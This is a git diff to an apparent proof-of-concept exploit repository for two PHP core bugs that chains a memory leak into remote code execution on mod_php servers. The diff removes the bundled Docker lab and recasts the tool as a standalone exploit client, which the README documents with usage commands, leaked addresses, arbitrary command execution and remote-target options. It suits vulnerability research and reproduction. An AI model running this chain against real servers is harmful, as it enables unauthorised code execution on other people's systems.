diff --git a/NOTES.md b/NOTES.md index 1080796..16577b9 100644 --- a/NOTES.md +++ b/NOTES.md @@ -224,7 +224,7 @@ The same code worked from git-bash purely because git-bash's `PATH` put its own Rule: the CLI must not depend on a shell existing or on which one wins. `poc/lab.py` calls the Docker CLI directly with an argument vector (no shell string, no `bash`), so the identical -`python -m poc lab` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are +`python -m poc exploit` works from PowerShell, cmd, git-bash, zsh, and bash. Consequences that are easy to get wrong: - **Volume paths are OS-specific.** Windows needs `C:/Users/...` (forward slashes, drive letter); diff --git a/README.md b/README.md index 7c4854a..9144d24 100644 --- a/README.md +++ b/README.md @@ -5,8 +5,6 @@ using only HTTP multipart requests, with no application code required and no `se in the target page. ``` -$ ./lab/up.sh -target: OK $ python -m poc exploit php2shell poc 0.1.0 | ZSecurity | Linuxhackingid [1/4] A1 oom status=HTTP/1.0 500 Internal Server Error @@ -23,10 +21,11 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ## Scope and authorisation -Local Docker lab only. Every connection goes to a container started by `lab/up.sh` on -`127.0.0.1`. This is a reproduction harness plus a staged verification of two published PHP -core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not -own or have written authorisation to test. +**This repository ships the exploit client only.** It contains no web application, no Docker +compose file and no lab harness: you point it at a vulnerable mod_php target you started +yourself (see [Target](#target-not-shipped)). It is a reproduction and verification tool for two +published PHP core bugs — not a scanner, not a payload delivery tool. Do not point it at a host +you do not own or have written authorisation to test. ## The vulnerabilities @@ -76,7 +75,7 @@ not a citation: ```bash git clone https://git.linuxhackingid.com/linuxhackingid/php2shell-cve-2026-109618-109619.git cd php2shell-cve-2026-109618-109619 -python -m unittest discover -s tests -t . # 71 pass, 4 skip (need the target binary) +python -m unittest discover -s tests -t . # 56 pass, 4 skip (need the target binary) ``` Nothing to `pip install`. The two tests that need the target's `libphp.so` skip themselves on a @@ -95,60 +94,102 @@ fresh clone — see [research/README.md](research/README.md) to enable them. | OS | Status | How it was checked | |---|---|---| | Windows 11 | works | PowerShell + git-bash, stock `PATH` where `bash` resolves to WSL; full chain `uid=33(www-data)` | -| Linux x86_64 | works | Python 3.9 and 3.13 containers: 67/67 unit tests, plus the full chain executed from a Linux client against the lab over a Docker network (`uid=33(www-data)`) | -| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest`, and the code has no Windows-only branches except the separator normalisation in `poc/lab.py` | +| Linux x86_64 | works | Python 3.9 and 3.13 containers: full unit suite, plus the full chain executed from a Linux client against the target over a Docker network (`uid=33(www-data)`) | +| macOS | expected to work, **not executed here** | no macOS host available; the CI matrix (`.github/workflows/ci.yml`) runs the unit tests and offline selftest on `macos-latest` | Verified interpreter versions: 3.9.25, 3.13, 3.14.7. ## Quickstart -Windows (PowerShell) and Linux/macOS are the same commands: +You need a running vulnerable target first (next section). Then, from any directory: -```powershell -python -m poc lab # bring the target up, check it, run the chain -cat out\p1 # uid=33(www-data) +```bash +python -m poc check --url http://127.0.0.1:18110 # version, ini, libphp hash, profile +python -m poc exploit --url http://127.0.0.1:18110 # A1 -> B1 -> A2 -> B2 -> proof +``` + +Sample output: + +``` +[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error +[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87 +[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error +[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status= + RCE OK; proof C:\Users\you\AppData\Local\php2shell\out\p1: +uid=33(www-data) gid=33(www-data) groups=33(www-data) +``` + +The proof file is written by the target into its `/out` mount. This client looks for it in a +fixed per-user directory — `%LOCALAPPDATA%\php2shell\out` on Windows, +`${XDG_DATA_HOME:-~/.local/share}/php2shell/out` on Linux/macOS — so **the folder you run `poc` +from does not matter**. Point the target's `/out` at that directory, or pass `--proof PATH`. + +`poc exploit` refuses to run when nothing is listening and tells you so. Nothing is chained +implicitly: `check` only reads configuration, `leak` stops after the disclosure, `exploit` sends +the whole chain. + +## Target (not shipped) + +Requirements, all confirmed against `php:8.4.26-apache`: + +- Apache **mod_php** (not FPM — the confirmed path depends on mod_php's shutdown running after a + failed startup) +- `php.ini-production`: `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, + `output_buffering=0`, `session.upload_progress.enabled=On` +- **one prefork child** for deterministic results (`MaxRequestWorkers 1`); with more workers the + four requests must otherwise land on the same child +- a writable `/out` mount which matches the client's proof directory + +Minimal target, two files plus a container. `index.php`: + +```php + + StartServers 1 + MinSpareServers 1 + MaxSpareServers 1 + MaxRequestWorkers 1 + ServerLimit 1 + MaxConnectionsPerChild 0 + ``` ```bash -python -m poc lab -cat out/p1 +OUT="${XDG_DATA_HOME:-$HOME/.local/share}/php2shell/out"; mkdir -p "$OUT" +docker run -d --name p2s-lab -p 127.0.0.1:18110:80 \ + -v "$PWD/index.php:/var/www/html/index.php:ro" \ + -v "$PWD/apache-single-worker.conf:/etc/apache2/conf-enabled/zz-p2s.conf:ro" \ + -v "$OUT:/out" \ + php:8.4.26-apache /bin/sh -c 'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini; + chown -R www-data:www-data /out 2>/dev/null || true; exec apache2-foreground' ``` -Step by step, if you want to see each stage: - -```bash -./lab/up.sh # or: python -m poc lab up -python -m poc check # version, ini, libphp hash, profile, worker count -python -m poc leak # A1 + B1 only: the disclosure -python -m poc exploit # A1 -> B1 -> A2 -> B2 -> proof file -python -m poc status # or: python -m poc lab status -./lab/down.sh # or: python -m poc lab down -``` - -The lab and the exploit are deliberately separate commands: `poc lab` only manages the -container, `poc check` only reads the target's configuration, and `poc exploit` only sends the -chain. Nothing is chained implicitly, so you can point `poc exploit` at a target someone else -started. `poc exploit` refuses to run when nothing is listening and tells you to start a lab. +On Windows/PowerShell use forward-slash paths (`C:/Users/you/...`) and +`$env:LOCALAPPDATA + "/php2shell/out"` for `OUT`. The asset files are deliberately not part of +this repository — the exploit client is the deliverable, the target is your lab. ## CLI | Command | Purpose | |---|---| -| `poc lab [up\|down\|status]` | container lifecycle only — no exploitation. `up` (default) recreates the target and waits until it answers; `down` removes it; `status` dumps diagnostics. `--image`, `--name`, `--port`, `--net` override the target | | `poc check` | preflight: php version + vulnerable/patched verdict, nine ini values, `libphp.so` sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. | -| `poc status` | container diagnostics: php/apache version, the nine ini values, libphp sha256, worker count | +| `poc status` | diagnostics for a **local** container via `docker exec`: php/apache version, the nine ini values, libphp sha256, worker count | | `poc offsets --lib PATH` | derive `zval_ptr_dtor`, `zif_system`, `zif_passthru` from an ELF `.symtab`/`.dynsym` | | `poc leak` | A1 + B1 only: produce and classify the disclosure cookie (`--save` keeps the raw response) | | `poc exec --cmd CMD` | full chain with CMD wrapped so its output returns to you via `/out/.poc-exec`; prints the output, returns its exit code | | `poc exploit` | full chain; `--dry-run` forges and hashes all four bodies without touching the network; `--retries N`; `--cmd`; `--proof` | | `poc selftest` | offline: build all four bodies, check sizes and layout invariants | -All commands accept `--host --port --name --profile --workers --json`. `--workers N` occupies -`N-1` prefork children so the four chain requests land on the same worker. - -`IMAGE`, `NAME`, `PORT`, and `NET` environment variables are honoured by `poc lab` (so the shell -wrappers keep the old `IMAGE=… NAME=… ./lab/up.sh` idiom working), and the equivalent flags -(`--image --name --port --net`) are the portable form. +All commands accept `--host --port --url --path --tls --insecure --profile --workers --json`. +`--workers N` occupies `N-1` prefork children so the four chain requests land on the same worker. +`--name` (default `p2s-lab`) selects the container for `check` and `status`. ## Targeting a URL or a remote host @@ -260,7 +301,7 @@ Every row below is a command that was actually run in this environment, with its |---|---|---| | Lab build identity | `python -m poc check` | PHP 8.4.26 NTS, `libphp.so` sha256 `51663cf8…f4ee679c` = profile; Apache 2.4.69; `memory_limit=128M`, `post_max_size=8M`, `display_errors=Off`, `session.upload_progress.enabled=On`; 1 worker | | Symbol offsets | `python -m poc offsets --lib research/libphp.so` | `zval_ptr_dtor=0x65eb60`, `zif_system=0x465370` — matches the profile | -| Offline suite | `python -m unittest discover -s tests -t .` | 75 tests, all pass, 0 skipped | +| Offline suite | `python -m unittest discover -s tests -t .` | 60 tests, all pass, 0 skipped | | Body parity | `tests/test_bodies_parity.py` | A1/A2/B1 SHA-256 identical to the reference generators (`8e8fc166…`, `7af66c8f…`, `b6c547e0…`) | | Stage 1–2 (disclosure) | `python -m poc leak` | A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; `zval_ptr_dtor` ×1095; `libphp − main` in range; main-chunk fingerprint count 87 | | Stage 3–4 (RCE) | `python -m poc exploit` | `[4/4] … RCE OK`, `out/p1` contains `uid=33(www-data) gid=33(www-data) groups=33(www-data)`; exit 0 | @@ -268,8 +309,8 @@ Every row below is a command that was actually run in this environment, with its | Repeat commands | 5 sequential `poc exec` cycles, same worker | 5/5 exit 0, 0 retries, counter in `/out` reached 5 | | Linux (unit) | `python -m unittest` inside `python:3.9-slim` and `python:3.13-slim` | 67/67 OK on both | | Linux (chain) | `python -m poc exec --url http://p2s-lab/index.php` from a `python:3.9-slim` container on the lab network | `uid=33(www-data)` | -| Windows shell independence | `python -m poc lab up` + `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to `C:\Windows\System32\bash.exe` (WSL) | exit 0, proof written — the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it | -| Specificity | `poc lab up --image php:8.4.27-apache` then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** | +| Windows shell independence | `python -m poc exploit` from PowerShell with a stock `PATH` where `bash` resolves to WSL | exit 0, proof written - the CLI never invokes a shell, so WSL-vs-git-bash resolution cannot break it | +| Specificity | same target recipe on `php:8.4.27-apache`, then `poc check` / `poc exploit` | `check` → `8.4.27 patched`, `NOT READY`, exit 1; `exploit` → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and **no proof file is created** | | Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe | The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not @@ -317,12 +358,13 @@ target's `libphp.so` SHA-256. ## Repository layout ``` -lab/ docker target (rootfs files + thin shims that call the Python entry points) -poc/ profiles · elf · wire · bodies · forge · leak · lab · cli -tests/ 32 unit tests; golden body hashes live in tests/golden/bodies.json -research/ reference clone (gitignored), captures, and the diagnostics used to calibrate +poc/ profiles · outdir · elf · wire · bodies · forge · leak · cli +tests/ 60 unit tests; golden body hashes live in tests/golden/bodies.json +research/ provenance of the golden hashes (reference clone is gitignored) ``` +There is no `lab/`, no compose file and no target webroot here: the client is the artifact. + `research/upstream/` is a read-only clone of the public reference chain, used once as a control test and to generate the golden body hashes. Nothing in `poc/` imports it. diff --git a/lab/apache-single-worker.conf b/lab/apache-single-worker.conf deleted file mode 100644 index 2a486a4..0000000 --- a/lab/apache-single-worker.conf +++ /dev/null @@ -1,10 +0,0 @@ -KeepAlive Off - - - StartServers 1 - MinSpareServers 1 - MaxSpareServers 1 - MaxRequestWorkers 1 - ServerLimit 1 - MaxConnectionsPerChild 0 - diff --git a/lab/down.sh b/lab/down.sh deleted file mode 100755 index 27b9372..0000000 --- a/lab/down.sh +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env bash -set -eu -HERE=$(cd "$(dirname "$0")" && pwd) -cd "$HERE/.." -PY=${PYTHON:-} -if [ -z "$PY" ]; then - if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi -fi -exec "$PY" -m poc lab down "$@" diff --git a/lab/index.php b/lab/index.php deleted file mode 100644 index 286e993..0000000 --- a/lab/index.php +++ /dev/null @@ -1 +0,0 @@ -/dev/null 2>&1; then PY=python; else PY=python3; fi -fi -exec "$PY" -m poc lab status "$@" diff --git a/lab/up.sh b/lab/up.sh deleted file mode 100755 index fac5d35..0000000 --- a/lab/up.sh +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env bash -set -eu -HERE=$(cd "$(dirname "$0")" && pwd) -cd "$HERE/.." -PY=${PYTHON:-} -if [ -z "$PY" ]; then - if command -v python >/dev/null 2>&1; then PY=python; else PY=python3; fi -fi -exec "$PY" -m poc lab up "$@" diff --git a/poc/cli.py b/poc/cli.py index 7c19955..f2353a6 100644 --- a/poc/cli.py +++ b/poc/cli.py @@ -10,7 +10,7 @@ import sys import time import urllib.parse -from poc import bodies, elf, forge, lab, leak, profiles, wire +from poc import bodies, elf, forge, leak, outdir, profiles, wire ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) @@ -213,8 +213,9 @@ def exploit_once(args, prof): if not wire.status(r4): print(" B2 got no response (worker aborted during shutdown) but %s never appeared" % proof_path) - print(" the target's /out is mounted from the directory `poc lab up` ran in;" - " run it from here, or pass --proof") + print(" the target's /out is not the client's proof directory; mount it at %s" + % os.path.dirname(proof_path)) + print(" or pass --proof with the path the target actually writes") else: print(" no command output; B2 status=%r - stage-3 placement missed" % wire.status(r4)) @@ -320,40 +321,28 @@ def require_target(host, port, tls=False, insecure=False): except OSError: print("cannot connect to %s://%s:%d - no target listening" % (scheme, host, port), file=sys.stderr) - print("start one first: python -m poc lab up", file=sys.stderr) + print("start a target first - see README: Target (not shipped)", file=sys.stderr) return False -def cmd_lab(args): - action = args.action - name = args.name or os.environ.get("NAME") or "p2s-lab" - port = args.port or int(os.environ.get("PORT") or 18110) - image = args.image or os.environ.get("IMAGE") or "php:8.4.26-apache" - net = args.net or os.environ.get("NET") or "" - args.name = name - args.port = port - if action == "status": - return cmd_status(args) - try: - if action == "down": - lab.down(name) - print("down %s" % name) - return 0 - body = lab.up(ROOT, image, name, port, net, args.host) - except lab.LabError as exc: - print(str(exc), file=sys.stderr) - return 1 - print("target: %s" % body) - print("next: python -m poc check --name %s --port %d" % (name, port)) - print(" python -m poc exploit --port %d" % port) - return 0 - - def cmd_status(args): - try: - rows = lab.status(args.name, args.lib_path) - except lab.LabError as exc: - print(str(exc), file=sys.stderr) + name = args.name + rows = [] + ver = dkr(["exec", name, "php", "-v"]).splitlines() + rows.append(("php", ver[0] if ver else "?")) + for line in dkr(["exec", name, "php", "-i"]).splitlines(): + key, _, val = line.partition("=>") + key = key.strip() + if key in INVL: + rows.append((key, val.split("=>")[0].strip())) + sha = dkr(["exec", name, "sha256sum", args.lib_path]).split() + rows.append(("libphp_sha256", sha[0] if sha else "?")) + apache = dkr(["exec", name, "apache2", "-v"]).splitlines() + rows.append(("apache", apache[0] if apache else "?")) + rows.append(("workers", dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip())) + if not any(v.strip() for k, v in rows if k != "workers"): + print("cannot inspect container %r (is it running? is docker available?)" % name, + file=sys.stderr) return 1 if args.json: print(json.dumps(dict(rows), indent=2)) @@ -385,11 +374,12 @@ def cmd_exec(args): % (wrapped_len, CARRIER_LIMIT), file=sys.stderr) print("put it in a file and run: --cmd 'sh/dev/null || true\n" - "exec apache2-foreground") - -INI_KEYS = {"display_errors", "memory_limit", "post_max_size", "output_buffering", - "max_file_uploads", "max_input_vars", "session.upload_progress.enabled", - "session.save_handler", "session.serialize_handler"} - - -class LabError(Exception): - pass - - -def docker(): - exe = shutil.which("docker") - if not exe: - raise LabError("docker not found in PATH") - return exe - - -def host_path(path, nt=None): - if nt is None: - nt = os.name == "nt" - return path.replace("\\", "/") if nt else path - - -def build_run_args(root, image, name, port, net="", nt=None): - lab_dir = os.path.join(root, "lab") - out_dir = os.path.join(root, "out") - args = ["run", "-d", "--name", name] - if net: - args += ["--network", net] - args += [ - "-p", "127.0.0.1:%d:80" % port, - "-v", host_path(os.path.join(lab_dir, "index.php"), nt) + ":/var/www/html/index.php:ro", - "-v", host_path(os.path.join(lab_dir, "apache-single-worker.conf"), nt) + ":/etc/apache2/conf-enabled/zz-p2s.conf:ro", - "-v", host_path(out_dir, nt) + ":/out", - image, - "/bin/sh", "-c", INIT, - ] - return args - - -def run(args, timeout=300, check=True): - exe = docker() - try: - proc = subprocess.run([exe] + args, capture_output=True, text=True, timeout=timeout) - except subprocess.TimeoutExpired as exc: - raise LabError("docker %s timed out" % args[0]) from exc - if check and proc.returncode != 0: - msg = (proc.stderr or proc.stdout or "").strip().splitlines() - raise LabError("docker %s failed: %s" % (args[0], msg[-1] if msg else "exit %d" % proc.returncode)) - return proc - - -def executable(argv, name): - exe = docker() - proc = subprocess.run([exe, "exec", name] + argv, - capture_output=True, text=True, timeout=120) - return proc.stdout - - -def _http_get(host, port, path="/index.php", timeout=1.0): - sock = socket.create_connection((host, port), timeout=timeout) - try: - request = ("GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" % (path, host)).encode() - sock.sendall(request) - data = b"" - while b"\r\n\r\n" not in data: - chunk = sock.recv(1024) - if not chunk: - break - data += chunk - finally: - sock.close() - head, _, body = data.partition(b"\r\n\r\n") - return head, body - - -def wait_ready(port, host="127.0.0.1", attempts=120, delay=0.25): - for _ in range(attempts): - try: - head, body = _http_get(host, port) - if b" 200" in head: - return body.decode("latin1").strip() - except OSError: - pass - time.sleep(delay) - return None - - -def up(root, image, name, port, net="", host="127.0.0.1"): - run(["rm", "-f", name], check=False) - os.makedirs(os.path.join(root, "out"), exist_ok=True) - if net: - run(["network", "create", net], check=False) - run(build_run_args(root, image, name, port, net)) - body = wait_ready(port, host) - if body is None: - logs = run(["logs", "--tail", "20", name], check=False) - raise LabError("target did not answer on %s:%d within %.0fs\n%s" - % (host, port, 120 * 0.25, (logs.stdout or "") + (logs.stderr or ""))) - return body - - -def down(name): - run(["rm", "-f", name], check=False) - return True - - -def status(name, lib_path): - rows = [] - ver = executable(["php", "-v"], name).splitlines() - rows.append(("php", ver[0] if ver else "?")) - for line in executable(["php", "-i"], name).splitlines(): - key, _, val = line.partition("=>") - key = key.strip() - if key in INI_KEYS: - rows.append((key, val.split("=>")[0].strip())) - sha = executable(["sha256sum", lib_path], name).split() - rows.append(("libphp_sha256", sha[0] if sha else "?")) - apache = executable(["apache2", "-v"], name).splitlines() - rows.append(("apache", apache[0] if apache else "?")) - rows.append(("workers", executable(["sh", "-c", "pgrep -c apache2"], name).strip())) - return rows diff --git a/poc/outdir.py b/poc/outdir.py new file mode 100644 index 0000000..43a2585 --- /dev/null +++ b/poc/outdir.py @@ -0,0 +1,15 @@ +import os + + +def default_outdir(): + if os.name == "nt": + base = os.environ.get("LOCALAPPDATA") or os.path.expanduser(os.path.join("~", "AppData", "Local")) + else: + base = os.environ.get("XDG_DATA_HOME") or os.path.expanduser(os.path.join("~", ".local", "share")) + return os.path.join(base, "php2shell", "out") + + +def ensure(): + path = default_outdir() + os.makedirs(path, exist_ok=True) + return path diff --git a/tests/test_cli.py b/tests/test_cli.py index 075b89c..3237c11 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -8,31 +8,21 @@ def parse(argv): class SeparationTest(unittest.TestCase): - def test_lab_defaults_to_up(self): - self.assertEqual(parse(["lab"]).action, "up") - - def test_lab_up_status_down(self): - for action in ("up", "down", "status"): - self.assertEqual(parse(["lab", action]).action, action) - - def test_lab_rejects_unknown_action(self): + def test_no_lab_subcommand(self): with self.assertRaises(SystemExit): - parse(["lab", "exploit"]) + parse(["lab"]) - def test_lab_has_no_exploit_flags(self): - ns = parse(["lab", "up"]) - for flag in ("proof", "retries", "dry_run"): - self.assertFalse(hasattr(ns, flag), flag) + def test_subcommands_are_exploit_only(self): + cases = {"check": [], "leak": [], "exploit": [], "status": [], + "exec": ["--cmd", "id"], "offsets": ["--lib", "x"], "selftest": []} + for name, extra in cases.items(): + self.assertTrue(callable(parse([name] + extra).func), name) def test_exploit_keeps_its_flags(self): ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"]) self.assertEqual(ns.cmd, "id>/out/x") self.assertEqual(ns.retries, 1) - def test_lab_actions_do_not_run_the_chain(self): - ns = parse(["lab", "up"]) - self.assertIs(ns.func, cli.cmd_lab) - def test_exploit_and_leak_are_separate_commands(self): self.assertIs(parse(["exploit"]).func, cli.cmd_exploit) self.assertIs(parse(["leak"]).func, cli.cmd_leak) diff --git a/tests/test_lab.py b/tests/test_lab.py deleted file mode 100644 index 4aadcd1..0000000 --- a/tests/test_lab.py +++ /dev/null @@ -1,72 +0,0 @@ -import os -import tempfile -import unittest - -from poc import lab - -NT = os.name == "nt" - - -class HostPathTest(unittest.TestCase): - def test_windows_branch_replaces_backslashes(self): - self.assertEqual(lab.host_path("C:\\Users\\x\\out", nt=True), "C:/Users/x/out") - - def test_windows_branch_leaves_forward_slashes(self): - self.assertEqual(lab.host_path("C:/Users/x/out", nt=True), "C:/Users/x/out") - - def test_posix_branch_is_identity(self): - self.assertEqual(lab.host_path("/srv/poc/out", nt=False), "/srv/poc/out") - - def test_default_matches_platform(self): - p = os.path.join(tempfile.gettempdir(), "out") - got = lab.host_path(p) - self.assertNotIn("\\", got) - if not NT: - self.assertEqual(got, p) - - -class BuildRunArgsTest(unittest.TestCase): - def setUp(self): - self.root = os.path.join(tempfile.gettempdir(), "p2s-repo") - self.args = lab.build_run_args(self.root, "php:8.4.26-apache", "p2s-lab", 18110, nt=NT) - - def test_three_volume_mounts(self): - vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"] - self.assertEqual(len(vols), 3) - for vol in vols: - self.assertTrue(vol.endswith(":ro") or vol.endswith(":/out")) - - def test_destinations(self): - vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"] - joined = " ".join(vols) - self.assertIn(":/var/www/html/index.php:ro", joined) - self.assertIn(":/etc/apache2/conf-enabled/zz-p2s.conf:ro", joined) - self.assertTrue(joined.endswith(":/out")) - - def test_volume_separators_are_docker_safe(self): - vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"] - for vol in vols: - self.assertNotIn("\\", vol) - - def test_image_precedes_entrypoint(self): - idx = self.args.index("php:8.4.26-apache") - self.assertEqual(self.args[idx + 1:idx + 3], ["/bin/sh", "-c"]) - - def test_port_publish_binds_loopback(self): - self.assertIn("127.0.0.1:18110:80", self.args) - - def test_no_network_flag_by_default(self): - self.assertNotIn("--network", self.args) - - def test_network_flag_when_requested(self): - args = lab.build_run_args(self.root, "img", "c", 1, net="p2s", nt=NT) - self.assertEqual(args[args.index("--network") + 1], "p2s") - - def test_init_script_has_no_crlf(self): - self.assertNotIn("\r", lab.INIT) - self.assertIn("exec apache2-foreground", lab.INIT) - self.assertIn("php.ini-production", lab.INIT) - - def test_no_shell_interpolation(self): - self.assertEqual(self.args.count("-c"), 1) - self.assertEqual(len([a for a in self.args if "$" in a]), 0) diff --git a/tests/test_lab_ready.py b/tests/test_lab_ready.py deleted file mode 100644 index 9323bd2..0000000 --- a/tests/test_lab_ready.py +++ /dev/null @@ -1,52 +0,0 @@ -import socket -import threading -import time -import unittest - -from poc import lab - - -class WaitReadyTest(unittest.TestCase): - def _serve(self, payload): - server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - server.bind(("127.0.0.1", 0)) - server.listen(8) - port = server.getsockname()[1] - stop = threading.Event() - - def loop(): - server.settimeout(0.2) - while not stop.is_set(): - try: - conn, _ = server.accept() - except OSError: - continue - try: - conn.recv(1024) - conn.sendall(payload) - finally: - conn.close() - - thread = threading.Thread(target=loop, daemon=True) - thread.start() - self.addCleanup(stop.set) - self.addCleanup(server.close) - return port - - def test_returns_body_when_200(self): - port = self._serve(b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n") - self.assertEqual(lab.wait_ready(port, attempts=10), "OK") - - def test_none_when_not_listening(self): - dropped = socket.socket() - dropped.bind(("127.0.0.1", 0)) - port = dropped.getsockname()[1] - dropped.close() - started = time.time() - self.assertIsNone(lab.wait_ready(port, attempts=3, delay=0.01)) - self.assertLess(time.time() - started, 5) - - def test_ignores_non_200(self): - port = self._serve(b"HTTP/1.0 503 Nope\r\n\r\nbusy") - self.assertIsNone(lab.wait_ready(port, attempts=2, delay=0.01)) diff --git a/tests/test_outdir.py b/tests/test_outdir.py new file mode 100644 index 0000000..3df69df --- /dev/null +++ b/tests/test_outdir.py @@ -0,0 +1,41 @@ +import os +import unittest + +from poc import outdir + + +class OutdirTest(unittest.TestCase): + def test_path_is_absolute_and_ends_with_out(self): + path = outdir.default_outdir() + self.assertTrue(os.path.isabs(path)) + self.assertTrue(path.endswith("out")) + + def test_contains_php2shell(self): + self.assertIn("php2shell", outdir.default_outdir()) + + def test_honours_env(self): + key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA" + old = os.environ.get(key) + os.environ[key] = os.path.join(os.sep, "tmp" if os.name != "nt" else "C:\\", "poc-env") + try: + self.assertIn("poc-env", outdir.default_outdir()) + finally: + if old is None: + os.environ.pop(key, None) + else: + os.environ[key] = old + + def test_ensure_creates_directory(self): + key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA" + old = os.environ.get(key) + import tempfile + tmp = tempfile.mkdtemp(prefix="poc-out-") + os.environ[key] = tmp + try: + path = outdir.ensure() + self.assertTrue(os.path.isdir(path)) + finally: + if old is None: + os.environ.pop(key, None) + else: + os.environ[key] = old